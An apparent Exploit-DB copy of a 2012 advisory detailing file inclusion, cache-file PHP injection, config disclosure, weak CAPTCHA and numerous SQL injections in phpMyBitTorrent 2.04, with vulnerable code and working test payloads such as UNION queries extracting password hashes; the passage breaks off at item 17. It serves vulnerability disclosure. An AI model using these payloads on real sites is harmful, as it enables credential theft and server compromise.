phpMyBitTorrent 2.04 – Multiple Vulnerabilities

• Exploit Database
• 10 阅读

• 作者： waraxe
  日期： 2012-10-04
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/21743/

• [waraxe-2012-SA#091] - Multiple Vulnerabilities in phpMyBitTorrent 2.04
  ===============================================================================
  
  Author: Janek Vind "waraxe"
  Date: 01. October 2012
  Location: Estonia, Tartu
  Web: http://www.waraxe.us/advisory-91.html
  
  
  Description of vulnerable target:
  ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  
  phpMyBitTorrent is the brand new Open Source solution for BitTorrent
  communities! phpMyBitTorrent is all written in PHP, uses the popular MySQL
  database and support every BitTorrent protocol extension. 
  
  https://www.phpmybittorrent.com/
  
  http://sourceforge.net/projects/phpmybittorrent/
  
  
  ###############################################################################
  1. Local File Inclusion in "include/config.php"
  ###############################################################################
  
  Reasons: insufficient sanitization of user-supplied data
  Attack vectors:
   1. user-supplied cookie parameters "bttheme" and "btlanguage"
   2. user-supplied parameter "theme_change"
  Preconditions:
   1. magic_quotes_gpc=off
   2. PHP must be < 5.3.4 for null-byte attacks to work
  
  
  PHP script "include/config.php" line 56:
  ------------------------[ source code start ]----------------------------------
  if (!isset($_COOKIE["bttheme"])) $bttheme = "";
  if (!isset($_COOKIE["btlanguage"])) $btlanguage = "";
  ...
  if (isset($btlanguage) AND is_readable("language/".$btlanguage.".php")) 
  $language = $btlanguage;
  if (isset($bttheme) AND is_readable("themes/".$bttheme."/main.php"))
  $theme = $bttheme;
  ...
  if (file_exists("./language/".$language.".php"))
  require_once("./language/".$language.".php");
  ...
  if (file_exists("./themes/".$theme."/main.php")) {
  require_once("./themes/".$theme."/main.php");
  ------------------------[ source code end ]------------------------------------
  
  Test cookies:
  
  bttheme=../avatars/user/waraxe.jpg%00z;
  btlanguage=../avatars/user/waraxe.jpg%00z;
  
  
  PHP script "include/config.php" line 199:
  ------------------------[ source code start ]----------------------------------
  if (isset($theme_change)){
  $bttheme = $theme_change;
  ...
  if (isset($bttheme) AND is_readable("themes/".$bttheme."/main.php")) $theme =
   $bttheme;
  ...
  if (file_exists("./themes/".$theme."/main.php")) {
  require_once("./themes/".$theme."/main.php");
  ------------------------[ source code end ]------------------------------------
  
  Test:
  
  http://pmbt//?theme_change=../avatars/user/waraxe.jpg%00z
  
  
  ###############################################################################
  2. Insecure cache file handling in "blocks/newestmember_block.php"
  ###############################################################################
  
  Reasons:
   1. unrestricted direct access to the cache file
   2. uninitialized variable "$newestmemberrecords"
  Attack vector: user-supplied parameter "newestmemberrecords"
  Preconditions: none
  Result:
   1. last 5 registered users credentials leakage
   2. attacker is able to inject php code to the cache file
  
   
  PHP script "blocks/newestmember_block.php" line 35:
  ------------------------[ source code start ]----------------------------------
  $file = "cache/cache_newestmemberblock.txt";
  $expire = 60; // time in seconds
  if (file_exists($file) &&
  filemtime($file) > (time() - $expire)) {
  $newestmemberrecords = unserialize(file_get_contents($file));
  }else{ 
  $newestmemberquery = $db->sql_query("SELECT * FROM ".$db_prefix."_users 
   WHERE active = 1 AND ban ='0' ORDER BY id DESC LIMIT 5");
  
  while ($newestmemberrecord = $db->sql_fetchrow($newestmemberquery) ) {
  $newestmemberrecords[] = $newestmemberrecord;
  }
  $OUTPUT = serialize($newestmemberrecords);
  $fp = fopen($file,"w");
  fputs($fp, $OUTPUT);
  fclose($fp);
  ------------------------[ source code end ]------------------------------------
  
  Test:
  
  http://pmbt/cache/cache_newestmemberblock.txt
  
  Result:
  -------------------------[ result start ]--------------------------------------
  a:1:{i:0;a:116:{i:0;s:1:"1";s:2:"id";s:1:"1";i:1;s:6:"waraxe";
  ...
  s:8:"password";s:32:"123456789123456789123456789abcde";
  -------------------------[ result end ]----------------------------------------
  
  As result, anyone can obtain usernames and hashed passwords of last 5 registered
  users and then try to crack md5 hashes or forge session cookies, resulting in
  account overtaking. Additionally it is possible to inject arbitrary data to the
  cache file, including php code:
  
  http://pmbt/?newestmemberrecords[][username]=war<?php+phpinfo();?>axe
  
  After that let's look at cache file:
  
  http://pmbt/cache/cache_newestmemberblock.txt
  
  Result:
  -------------------------[ result start ]--------------------------------------
  a:2:{i:0;a:1:{s:8:"username";s:24:"war<?php phpinfo();?>axe";}
  -------------------------[ result end ]----------------------------------------
  
  Attacker can combine php code injection to cache file with Local File Inclusion
  vulnerabilities and obtain PHP-level access to remote system.
  
  
  ###############################################################################
  3. Insecure cache file handling in "staff.php"
  ###############################################################################
  
  Reason: uninitialized variable "$staff_table"
  Attack vector: user-supplied parameter "staff_table"
  Preconditions: none
  Result: attacker is able to inject php code to the cache file
  
   
  PHP script "staff.php" line 38:
  ------------------------[ source code start ]----------------------------------
  $cache_file = "cache/staff.txt";
  ...
  $staff_table[ $arr['level'] ] = $staff_table[ $arr['level'] ]
  ...
  $fp = fopen($cache_file, 'w');
  fwrite($fp, serialize($staff_table));
  fclose($fp);
  ------------------------[ source code end ]------------------------------------
  
  Test:
  
  http://pmbt/staff.php?staff_table[]=<?php+phpinfo();?>
  
  Result:
  
  http://pmbt/cache/staff.txt
  
  -------------------------[ result start ]--------------------------------------
  a:2:{i:0;s:18:"<?php phpinfo();?>";s:5:"admin";s:325:"
  -------------------------[ result end ]----------------------------------------
  
  
  ###############################################################################
  4. Remote File Disclosure in "ajax.php"
  ###############################################################################
  
  Reason: insufficient sanitization of user-supplied data
  Attack vector: user-supplied GET parameter "torrent"
  Preconditions:
   1. magic_quotes_gpc=off
   2. PHP must be < 5.3.4 for null-byte attacks to work
  Result: attacker can disclose the contents of arbitrary files
  
   
  PHP script "ajax.php" line 1770:
  ------------------------[ source code start ]----------------------------------
  case 'view_nfo_page':{
  $nfo = "";
  $nf = fopen("torrent/".$_GET['torrent'].".nfo","rb");
  while (!feof($nf)) $nfo .= fread($nf,100);
  fclose($nf);
  OpenTable("NFO");
  echo "<p class=\"nfo\">".nl2br(str_replace(" ","&nbsp;",htmlentities($nfo)))
  ."</p>";
  ------------------------[ source code end ]------------------------------------
  
  Test:
  
  http://pmbt/ajax.php?op=view_nfo_page&torrent=../include/configdata.php%00z
  
  As result we can see various sensitive configuration data, including plaintext
  database credentials.
  
  
  ###############################################################################
  5. Insecure CAPTCHA implementation in "gfxgen.php"
  ###############################################################################
  
  Reason: weak cryptography
  Result: automated tools can bypass CAPTCHA restrictions
  
  PHP script "gfxgen.php" line 34:
  ------------------------[ source code start ]----------------------------------
  $code = base64_decode($_GET["code"]);
  $image = ImageCreateFromJPEG("include/code_bg.jpg");
  $text_color = ImageColorAllocate($image, 80, 80, 80);
  Header("Content-type: image/jpeg");
  ImageString ($image, 5, 12, 2, $code, $text_color);
  ImageJPEG($image, '', 75);
  ImageDestroy($image);
  ------------------------[ source code end ]------------------------------------
  
  As we can see, reversible base64 encoding algorithm is used in default CAPTCHA
  implementation. Let's look at login page with enabled CAPTCHA:
  
  ------------------------[ source code start ]----------------------------------
  <p align="center">Security Code<br>
  <img src="https://www.exploit-db.com/exploits/21743/gfxgen.php?code=Q0k2RE8=" alt="Security Code">
  ------------------------[ source code end ]------------------------------------
  
  Parameter "code" has value "Q0k2RE8=" and after base64 decoding we have "CI6DO"
  , so it's obvious, that current CAPTCHA impementation in phpMyBitTorrent is
  completely useless.
  
  
  ###############################################################################
  6. Multiple SQL Injections in "ajax.php"
  ###############################################################################
  
  --># Case 1 #<--
  Reason: insufficient sanitization of user-supplied data
  Attack vector: user-supplied GET parameter "username"
  Preconditions:
   1. magic_quotes_gpc=off
   2. logged in as user
  Result: attacker can manipulate database queries
  
   
  PHP script "ajax.php" line 165:
  ------------------------[ source code start ]----------------------------------
  case "check_username": {
   if (!$user->user) loginrequired("user",true);
  ...
   // check for that username
   $sql = "SELECT COUNT(`id`) FROM `".$db_prefix."_users` WHERE `username`
  = '".$_GET['username']."'";
   $res = $db->sql_query($sql);
  ------------------------[ source code end ]------------------------------------
  
  Test:
  
  http://pmbt/ajax.php?op=check_username&username=war'axe
  
  
  --># Case 2 #<--
  Reason: insufficient sanitization of user-supplied data
  Attack vector: user-supplied parameter "to"
  Preconditions:
   1. magic_quotes_gpc=off
  Result: attacker can manipulate database queries
  
   
  PHP script "ajax.php" line 192:
  ------------------------[ source code start ]----------------------------------
  case 'private__chat':{
  ...
  $sql = "SELECT S.*, U.id as uid, U.can_do as can_do, U.donator AS donator, 
   U.warned as warned, U.level as level, IF(U.name IS NULL, U.username, U.name)
   as user_name FROM ".$db_prefix."_shouts S LEFT JOIN ".$db_prefix."_users U ON
   S.user = U.id WHERE S.id_to ='".$to."' AND S.user = '".$user->id."' OR 
   S.user='".$to."' AND S.id_to ='".$user->id."' ORDER BY posted DESC LIMIT
   ".$shout_config['shouts_to_show'].";";
  $shoutres = $db->sql_query($sql) or btsqlerror($sql);
  ------------------------[ source code end ]------------------------------------
  
  Test:
  
  http://pmbt/ajax.php?op=private__chat&to=-1'UNION+SELECT+1,2,@@version,4,5,6,7,8,9,10,11%23
  
  
  --># Case 3 #<--
  Reason: insufficient sanitization of user-supplied data
  Attack vector: user-supplied parameter "shotuser"
  Preconditions:
   1. magic_quotes_gpc=off
   2. logged in as user with shout privileges
  Result: attacker can manipulate database queries
  
   
  PHP script "ajax.php" line 368:
  ------------------------[ source code start ]----------------------------------
  case 'view_shout':{
  ...
  if(isset($shotuser)){
   $privateonly = "WHERE S.id_to ='".$shotuser."' AND S.user =
   '".$user->id."' ORS.id_to ='".$user->id."' AND S.user = '".$shotuser."'";
  ...
  $sql = "SELECT S.*, U.id as uid, U.can_do as can_do, U.donator AS donator, 
  U.warned as warned, U.level as level, IF(U.name IS NULL, U.username, U.name)
   as user_name FROM ".$db_prefix."_shouts S LEFT JOIN ".$db_prefix."_users U ON
   S.user = U.id ".$privateonly." ORDER BY posted DESC LIMIT 
   ".$shout_config['shouts_to_show'].";";
  $shoutres = $db->sql_query($sql) or btsqlerror($sql);
  ------------------------[ source code end ]------------------------------------
  
  Test:
  
  http://pmbt/ajax.php?op=view_shout&shotuser='UNION+SELECT+1,2,@@version,4,0,6,7,8,9,10,11%23
  
  
  --># Case 4 #<--
  Reason: insufficient sanitization of user-supplied data
  Attack vector: user-supplied GET parameter "shout"
  Preconditions:
   1. magic_quotes_gpc=off
  Result: attacker can manipulate database queries
  
   
  PHP script "ajax.php" line 513:
  ------------------------[ source code start ]----------------------------------
  case 'take_delete_shout':{
  $sql = "SELECT `text`, `user` FROM `".$db_prefix."_shouts` WHERE
  `id` = '".$_GET['shout']."'";
  $res = $db->sql_query($sql) or btsqlerror($sql);
  ------------------------[ source code end ]------------------------------------
  
  Test:
  
  http://pmbt/ajax.php?op=take_delete_shout&shout=war'axe
  
  Result:
  
  You have an error in your SQL syntax; check the manual that corresponds to your
  MySQL server version for the right syntax to use near 'axe'' at line 1
  
  
  --># Case 5 #<--
  Reason: insufficient sanitization of user-supplied data
  Attack vector: user-supplied GET parameter "shout"
  Preconditions:
   1. magic_quotes_gpc=off
  Result: attacker can manipulate database queries
  
   
  PHP script "ajax.php" line 528:
  ------------------------[ source code start ]----------------------------------
  case 'take_delete_archive_shout':{
  $sql = "SELECT `text`, `user` FROM `".$db_prefix."_shouts` WHERE 
  `id` = '".$_GET['shout']."'";
  $res = $db->sql_query($sql) or btsqlerror($sql);
  ------------------------[ source code end ]------------------------------------
  
  Test:
  
  http://pmbt/ajax.php?op=take_delete_archive_shout&shout=war'axe
  
  Result:
  
  You have an error in your SQL syntax; check the manual that corresponds to your
  MySQL server version for the right syntax to use near 'axe'' at line 1
  
  
  --># Case 6 #<--
  Reason: insufficient sanitization of user-supplied data
  Attack vector: user-supplied GET parameter "shout"
  Preconditions:
   1. magic_quotes_gpc=off
  Result: attacker can manipulate database queries
  
   
  PHP script "ajax.php" line 550:
  ------------------------[ source code start ]----------------------------------
  case 'take_edit_shout':{
  ...
  $sql = "SELECT `text`, `user` FROM `".$db_prefix."_shouts` WHERE 
  `id` = '".$_GET['shout']."'";
  $res = $db->sql_query($sql) or btsqlerror($sql);
  ------------------------[ source code end ]------------------------------------
  
  Test:
  
  http://pmbt/ajax.php?op=take_edit_shout&shout=war'axe
  
  Result:
  
  You have an error in your SQL syntax; check the manual that corresponds to your
  MySQL server version for the right syntax to use near 'axe'' at line 1
  
  
  --># Case 7 #<--
  Reason: insufficient sanitization of user-supplied data
  Attack vector: user-supplied GET parameter "shout"
  Preconditions:
   1. magic_quotes_gpc=off
  Result: attacker can manipulate database queries
  
   
  PHP script "ajax.php" line 572:
  ------------------------[ source code start ]----------------------------------
  case 'take_edit_archive_shout':{
  ...
   $sql = "SELECT `text`, `user` FROM `".$db_prefix."_shouts` WHERE 
   `id` = '".$_GET['shout']."'";
   $res = $db->sql_query($sql) or btsqlerror($sql);
  ------------------------[ source code end ]------------------------------------
  
  Test:
  
  http://pmbt/ajax.php?op=take_edit_archive_shout&shout=war'axe
  
  Result:
  
  You have an error in your SQL syntax; check the manual that corresponds to your
  MySQL server version for the right syntax to use near 'axe'' at line 1
  
  
  --># Case 8 #<--
  Reason: insufficient sanitization of user-supplied data
  Attack vector: user-supplied GET parameter "pass"
  Preconditions:
   1. magic_quotes_gpc=off
   2. logged in as user
  Result: attacker can manipulate database queries
  
   
  PHP script "ajax.php" line 1116:
  ------------------------[ source code start ]----------------------------------
  case 'view_peers_page':{
  ...
   $sql = "SELECT password FROM ".$db_prefix."_torrents WHERE id =
  '".$_GET['torrent']."' AND (password IS NULL OR password =
  '".$_GET["pass"]."') LIMIT 1;";
   $res = $db->sql_query($sql);
  ------------------------[ source code end ]------------------------------------
  
  Test:
  
  http://pmbt/ajax.php?op=view_peers_page&torrent=1&pass=war'axe
  
  
  --># Case 9 #<--
  Reason: insufficient sanitization of user-supplied data
  Attack vector: user-supplied GET parameter "pass"
  Preconditions: none
  Result: attacker can manipulate database queries
  
  
  PHP script "ajax.php" line 1286:
  ------------------------[ source code start ]----------------------------------
  case 'view_files_page':{
  ...
   $password= (isset($_GET["pass"]))? $_GET["pass"] : '';
  ...
   $password = urldecode($password);
   $sql = "SELECT password FROM ".$db_prefix."_torrents WHERE id = '".$id."' AND
   (password IS NULL OR password = '".$password."') LIMIT 1;";
   $res = $db->sql_query($sql);
  ------------------------[ source code end ]------------------------------------
  
  Test:
  
  http://pmbt/ajax.php?op=view_files_page&torrent=1&pass=war%2527axe
  
  
  --># Case 10 #<--
  Reason: insufficient sanitization of user-supplied data
  Attack vector: user-supplied GET parameter "torrent"
  Preconditions:
   1. magic_quotes_gpc=off
   2. logged in as user
  Result: attacker can manipulate database queries
  
  
  PHP script "ajax.php" line 1340:
  ------------------------[ source code start ]----------------------------------
  case 'view_rate_page':{
  ...
  if ($_GET["owner"] != $user->id AND ($user->user)) {
   $xres = $db->sql_query("SELECT rating, added FROM ".$db_prefix."_ratings WHERE
   torrent = '".$_GET['torrent']."' AND user = '" . $user->id."'") or btsqlerror
  ...
  ------------------------[ source code end ]------------------------------------
  
  Test:
  
  http://pmbt/ajax.php?op=view_rate_page&torrent=war'axe
  
  
  --># Case 11 #<--
  Reason: insufficient sanitization of user-supplied data
  Attack vector: user-supplied GET parameter "torrent"
  Preconditions:
   1. magic_quotes_gpc=off
  Result: attacker can manipulate database queries
  
   
  PHP script "ajax.php" line 1476:
  ------------------------[ source code start ]----------------------------------
  case 'view_details_page':{
  ...
   $sql = "SELECT A.id as id, A.exeem, A.seeders, A.leechers, A.tot_peer, A.speed
  ...
   WHERE A.id = '".$_GET['torrent']."' GROUP BY A.id LIMIT 1;";
   $res = $db->sql_query($sql) or btsqlerror($sql);
  ------------------------[ source code end ]------------------------------------
  
  Test:
  
  http://pmbt/ajax.php?op=view_details_page&torrent=war'axe
  
  Result:
  
  You have an error in your SQL syntax; check the manual that corresponds to your
  MySQL server version for the right syntax to use near 'axe' GROUP BY A.id
  LIMIT 1' at line 1
  
  
  --># Case 12 #<--
  Reason: insufficient sanitization of user-supplied data
  Attack vector: user-supplied GET parameter "torrent"
  Preconditions:
   1. magic_quotes_gpc=off
  Result: attacker can manipulate database queries
  
   
  PHP script "ajax.php" line 1783:
  ------------------------[ source code start ]----------------------------------
  case 'view_details':{
  ...
   $sql = "SELECT A.id as id, A.exeem, A.seeders, A.leechers, A.tot_peer, A.speed
  ...
   WHERE A.id = '".$_GET['torrent']."' GROUP BY A.id LIMIT 1;";
   $res = $db->sql_query($sql) or btsqlerror($sql);
  ------------------------[ source code end ]------------------------------------
  
  Test:
  
  http://pmbt/ajax.php?op=view_details&torrent=war'axe
  
  Result:
  
  You have an error in your SQL syntax; check the manual that corresponds to your
  MySQL server version for the right syntax to use near 'axe' GROUP BY A.id
  LIMIT 1' at line 1
  
  
  --># Case 13 #<--
  Reason: insufficient sanitization of user-supplied data
  Attack vector: user-supplied GET parameter "shout"
  Preconditions:
   1. magic_quotes_gpc=off
  Result: attacker can manipulate database queries
  
   
  PHP script "ajax.php" line 2067:
  ------------------------[ source code start ]----------------------------------
  case 'archivedeleteshout':{
  $sql = "SELECT `text`, `user` FROM `".$db_prefix."_shouts` WHERE 
   `id` = '".$_GET['shout']."'";
  $res = $db->sql_query($sql) or btsqlerror($sql);
  ------------------------[ source code end ]------------------------------------
  
  Test:
  
  http://pmbt/ajax.php?op=archivedeleteshout&shout=war'axe
  
  Result:
  
  You have an error in your SQL syntax; check the manual that corresponds to your
  MySQL server version for the right syntax to use near 'axe'' at line 1
  
  
  --># Case 14 #<--
  Reason: insufficient sanitization of user-supplied data
  Attack vector: user-supplied GET parameter "torrent"
  Preconditions:
   1. magic_quotes_gpc=off
  Result: attacker can manipulate database queries
  
   
  PHP script "ajax.php" line 2083:
  ------------------------[ source code start ]----------------------------------
  case 'get_imdb':{
  require ("imdb/imdb.class.php");
  $sql = "SELECT A.id as id, A.exeem, A.seeders, A.leechers, A.tot_peer, A.speed
  ...
  WHERE A.id = '".$_GET['torrent']."' GROUP BY A.id LIMIT 1;";
  $res = $db->sql_query($sql) or btsqlerror($sql);
  ------------------------[ source code end ]------------------------------------
  
  Test:
  
  http://pmbt/ajax.php?op=get_imdb&torrent=war'axe
  
  Result:
  
  You have an error in your SQL syntax; check the manual that corresponds to your
  MySQL server version for the right syntax to use near 'axe' GROUP BY A.id
  LIMIT 1' at line 1
  
  
  --># Case 15 #<--
  Reason: insufficient sanitization of user-supplied data
  Attack vector: user-supplied GET parameter "search"
  Preconditions:
   1. magic_quotes_gpc=off
   2. logged in as user
  Result: attacker can manipulate database queries
  
   
  PHP script "ajax.php" line 2207:
  ------------------------[ source code start ]----------------------------------
  case 'member_search':{
  ...
  if ( isset( $_GET['search'] ) && !empty( $_GET['search'] ) ){
   $query = "username LIKE ('%$search%') AND active='1'";
  ...
  $res = mysql_query("SELECT COUNT(*) FROM ".$db_prefix."_users WHERE $query")
   or sqlerr();
  ------------------------[ source code end ]------------------------------------
  
  Test:
  
  http://pmbt/ajax.php?op=member_search&search=war'axe
  
  Result:
  
  You have an error in your SQL syntax; check the manual that corresponds to your
  MySQL server version for the right syntax to use near 'axe%') AND active='1'
  
  
  ###############################################################################
  7. SQL Injection in "backend.php"
  ###############################################################################
  
  Reason: insufficient sanitization of user-supplied data
  Attack vector: user-supplied parameter "cat"
  Preconditions: none
  Result: attacker can manipulate database queries
  
   
  PHP script "backend.php" line 176:
  ------------------------[ source code start ]----------------------------------
  case "category": {
  ...
  $sql_cat = "SELECT name FROM ".$db_prefix."_categories 
  WHERE id = ".$cat."";
  $res = $db->sql_query($sql_cat);
  ------------------------[ source code end ]------------------------------------
  
  Tests:
  
  http://pmbt/backend.php?op=category&cat=0+UNION+SELECT+@@version%23
  
  http://pmbt/backend.php?op=category&cat=0+UNION+SELECT+password+FROM+
  torrent_users+WHERE+id=1%23
  
  
  ###############################################################################
  8. SQL Injection in "casino_player_edit.php"
  ###############################################################################
  
  Reason: insufficient sanitization of user-supplied data
  Attack vector: user-supplied parameter "player"
  Preconditions:
   1. magic_quotes_gpc=off
  Result: attacker can manipulate database queries
  
   
  PHP script "casino_player_edit.php" line 36:
  ------------------------[ source code start ]----------------------------------
  $result = $db->sql_query("select * from ".$db_prefix."_casino where userid =
   '".$player."'") or die(mysql_error());
  ------------------------[ source code end ]------------------------------------
  
  Test:
  
  http://pmbt/casino_player_edit.php?player=war'axe
  
  Result:
  
  You have an error in your SQL syntax; check the manual that corresponds to your
  MySQL server version for the right syntax to use near 'axe'' at line 1
  
  
  ###############################################################################
  9. SQL Injection in "deloffer.php"
  ###############################################################################
  
  Reason: insufficient sanitization of user-supplied data
  Attack vector: user-supplied POST parameter "offerid"
  Preconditions: none
  Result: attacker can manipulate database queries
  
   
  PHP script "deloffer.php" line 34:
  ------------------------[ source code start ]----------------------------------
  $id = $_POST["offerid"];
  $res = $db->sql_query("SELECT userid, name from ".$db_prefix."_offers where
   id=$id");
  ------------------------[ source code end ]------------------------------------
  
  Test:
  -------------------------[ test code start ]-----------------------------------
  <html><body><center>
  <form action="http://pmbt/deloffer.php" method="post">
  <input type="hidden" name="offerid" value="waraxe">
  <input type="submit" value="Test">
  </form>
  </center></body></html>
  --------------------------[ test code end ]------------------------------------
  
  
  ###############################################################################
  10. SQL Injection in "edit.php"
  ###############################################################################
  
  Reason:
   1. insufficient sanitization of user-supplied data
   2. uninitialized variable "$id"
  Attack vector: user-supplied parameters "torrent_id" and "id"
  Preconditions:
   1. magic_quotes_gpc=off
   2. logged in as user
  Result: attacker can manipulate database queries
  
   
  PHP script "edit.php" line 37:
  ------------------------[ source code start ]----------------------------------
  if (isset($torrent_id)) $id = $torrent_id;
  ...
  if (is_array($id))
  {
  foreach($id as $item)
  {
  $sql = "SELECT owner,name FROM ".$db_prefix."_torrents WHERE id = '".$item."';";
  $res = $db->sql_query($sql) or btsqlerror($sql);
  ------------------------[ source code end ]------------------------------------
  
  Test:
  
  http://pmbt/edit.php?id[]=war'axe
  http://pmbt/edit.php?torrent_id[]=war'axe
  
  Result:
  
  You have an error in your SQL syntax; check the manual that corresponds to your
  MySQL server version for the right syntax to use near 'axe'' at line 1
  
  
  ###############################################################################
  11. SQL Injection in "frame.php"
  ###############################################################################
  
  Reason: insufficient sanitization of user-supplied data
  Attack vector: user-supplied parameter "password"
  Preconditions: none
  Result: attacker can manipulate database queries
  
  
  PHP script "frame.php" line 80:
  ------------------------[ source code start ]----------------------------------
  case "filelist": {
   if (!isset($id) OR !is_numeric($id) OR $id < 1) error(_bterridnotset);
   $password = urldecode($password);
   $sql = "SELECT password FROM ".$db_prefix."_torrents WHERE id = '".$id."' AND
  (password IS NULL OR password = '".$password."') LIMIT 1;";
   $res = $db->sql_query($sql);
  ------------------------[ source code end ]------------------------------------
  
  Tests:
  
  http://pmbt/frame.php?op=filelist&id=1&password=war%2527axe
  http://pmbt/frame.php?op=commentlist&id=1&password=war%2527axe
  http://pmbt/frame.php?op=peerlist&id=1&password=war%2527axe
  
  Result:
  
  You have an error in your SQL syntax; check the manual that corresponds to your
  MySQL server version for the right syntax to use near 'axe') LIMIT 1' at line 1
  
  
  ###############################################################################
  12. SQL Injection in "helpdesk.php"
  ###############################################################################
  
  Reason: insufficient sanitization of user-supplied data
  Attack vector: user-supplied parameters "title", "problem", "category" and
  "priority"
  Preconditions:
   1. magic_quotes_gpc=off (for parameters "title", "problem" and "priority")
  Result: attacker can manipulate database queries
  
  
  PHP script "helpdesk.php" line 120:
  ------------------------[ source code start ]----------------------------------
  $problem = (isset($_POST["problem"])) ? trim($_POST["problem"]) : false;
  if ($op == "ticket" ){
  ...
  $upd_sql = "INSERT INTO ".$db_prefix."_helpdesk (`uid`, `title`, `problem`, 
   `category`, `priority`, `open_date`) VALUES('".$user->id."', '".$title."', 
  '".$problem."', ".$category.", '".$priority."', NOW())";
  $db->sql_query($upd_sql) or btsqlerror($upd_sql);
  ------------------------[ source code end ]------------------------------------
  
  Test:
  -------------------------[ test code start ]-----------------------------------
  <html><body><center>
  <form action="http://pmbt/helpdesk.php?op=ticket" method="post">
  <input type="hidden" name="problem" value="1">
  <input type="hidden" name="title" value="2">
  <input type="hidden" name="category" value="waraxe">
  <input type="hidden" name="priority" value="3">
  <input type="submit" value="Test">
  </form>
  </center></body></html>
  --------------------------[ test code end ]------------------------------------
  
  Result:
  
  Unknown column 'waraxe' in 'field list'
  
  
  ###############################################################################
  13. SQL Injection in "hitruns.php"
  ###############################################################################
  
  Reason: insufficient sanitization of user-supplied data
  Attack vector: user-supplied POST parameters "reset" and "warn"
  Preconditions: none
  Result: attacker can manipulate database queries
  
   
  PHP script "hitruns.php" line 94:
  ------------------------[ source code start ]----------------------------------
  if (isset($_POST["reset"])) {
  mysql_query("UPDATE ".$db_prefix."_snatched SET 
  hitrun = '0000-00-00 00:00:00', hitrunwarn = 'no' WHERE id 
  IN (".implode(", ", $_POST["reset"]).")") or sqlerr();
  ------------------------[ source code end ]------------------------------------
  
  Test:
  -------------------------[ test code start ]-----------------------------------
  <html><body><center>
  <form action="http://pmbt/hitruns.php" method="post">
  <input type="hidden" name="reset[]" value="waraxe">
  <input type="submit" value="Test">
  </form>
  </center></body></html>
  --------------------------[ test code end ]------------------------------------
  
  Result:
  
  Unknown column 'waraxe' in 'field list'
  
  PHP script "hitruns.php" line 101:
  ------------------------[ source code start ]----------------------------------
  } elseif (isset($_POST["warn"])) {
  $userids = $warnids = array();
  $res = mysql_query("SELECT userid FROM ".$db_prefix."_snatched
  WHERE id IN (".implode(", ", $_POST["warn"]).")") or sqlerr();
  ------------------------[ source code end ]------------------------------------
  
  Test:
  -------------------------[ test code start ]-----------------------------------
  <html><body><center>
  <form action="http://pmbt/hitruns.php" method="post">
  <input type="hidden" name="warn[]" value="waraxe">
  <input type="submit" value="Test">
  </form>
  </center></body></html>
  --------------------------[ test code end ]------------------------------------
  
  Result:
  
  Unknown column 'waraxe' in 'where clause'
  
  
  ###############################################################################
  14. SQL Injection in "makepoll.php"
  ###############################################################################
  
  Reason: insufficient sanitization of user-supplied data
  Attack vector: user-supplied POST parameters "pollid", "question", "option0",
   "option1","option2","option3","option4","option5","option6","option7",
   "option8","option9", "sort"
  Preconditions:
   1. magic_quotes_gpc=off (for parameters "question", "option0", "option1",
  "option2","option3","option4","option5","option6","option7", "option8",
  "option9", "sort")
  Result: attacker can manipulate database queries
  
   
  PHP script "makepoll.php" line 54:
  ------------------------[ source code start ]----------------------------------
  $pollid = $_POST["pollid"];
  $question = $_POST["question"];
  $option0 = $_POST["option0"];
  $option1 = $_POST["option1"];
  $option2 = $_POST["option2"];
  $option3 = $_POST["option3"];
  $option4 = $_POST["option4"];
  $option5 = $_POST["option5"];
  $option6 = $_POST["option6"];
  $option7 = $_POST["option7"];
  $option8 = $_POST["option8"];
  $option9 = $_POST["option9"];
  $sort = $_POST["sort"];
  $returnto = $_POST["returnto"];
  
  if (!$question || !$option0 || !$option1)
  bterror(_btpolls_missing,_bterror);
  
  if ($pollid)
  
  $db->sql_query("UPDATE ".$db_prefix."_polls SET " .
  "question = '" . $question . "', " .
  "option0 = '" . $option0 . "', " .
  "option1 = '" . $option1 . "', " .
  "option2 = '" . $option2 . "', " .
  "option3 = '" . $option3 . "', " .
  "option4 = '" . $option4 . "', " .
  "option5 = '" . $option5 . "', " .
  "option6 = '" . $option6 . "', " .
  "option7 = '" . $option7 . "', " .
  "option8 = '" . $option8 . "', " .
  "option9 = '" . $option9 . "', " .
  "sort = '" . $sort . "' " .
  "WHERE id = $pollid") or die(mysql_error(__FILE__, __LINE__));
  ------------------------[ source code end ]------------------------------------
  
  Test:
  
  -------------------------[ test code start ]-----------------------------------
  <html><body><center>
  <form action="http://pmbt/makepoll.php" method="post">
  <input type="hidden" name="pollid" value="waraxe">
  <input type="hidden" name="question" value="1">
  <input type="hidden" name="option0" value="2">
  <input type="hidden" name="option1" value="3">
  <input type="submit" value="Test">
  </form>
  </center></body></html>
  --------------------------[ test code end ]------------------------------------
  
  Result:
  
  Unknown column 'waraxe' in 'where clause'
  
  
  ###############################################################################
  15. SQL Injection in "modrules.php"
  ###############################################################################
  
  Reason: insufficient sanitization of user-supplied data
  Attack vector: user-supplied GET parameter "id"
  Preconditions: none
  Result: attacker can manipulate database queries
  
   
  PHP script "modrules.php" line 40:
  ------------------------[ source code start ]----------------------------------
  $id = (isset($_GET["id"]))? $_GET["id"] : '';
  ...
  $sql = "DELETE FROM ".$db_prefix."_rules WHERE id = $id ";
  if (!$db->sql_query($sql)) btsqlerror($sql);
  ------------------------[ source code end ]------------------------------------
  
  Test:
  
  http://pmbt/modrules.php?act=delete&id=waraxe
  
  Result:
  
  Unknown column 'waraxe' in 'where clause'
  
  
  ###############################################################################
  16. SQL Injection in "mybonus.php"
  ###############################################################################
  
  Reason: insufficient sanitization of user-supplied data
  Attack vector: user-supplied POST parameter "option"
  Preconditions:
   1. magic_quotes_gpc=off
  Result: attacker can manipulate database queries
  
   
  PHP script "mybonus.php" line 91:
  ------------------------[ source code start ]----------------------------------
  if ($action == "exchange") {
  ...
  $option = $_POST["option"];
  ...
  $sql = ("SELECT * FROM ".$db_prefix."_bonus WHERE id='$option'");
  $res = $db->sql_query($sql);
  ------------------------[ source code end ]------------------------------------
  
  Test:
  -------------------------[ test code start ]-----------------------------------
  <html><body><center>
  <form action="http://pmbt/mybonus.php" method="post">
  <input type="hidden" name="action" value="exchange">
  <input type="hidden" name="option" value="war'axe">
  <input type="submit" value="Test">
  </form>
  </center></body></html>
  --------------------------[ test code end ]------------------------------------
  
  
  ###############################################################################
  17. SQL Injection in "problems.php"
  ###############################################################################
  
  Reason: insufficient sanitization of user-supplied data
  Attack vector: user-supplied parameter "t"
  Preconditions: none
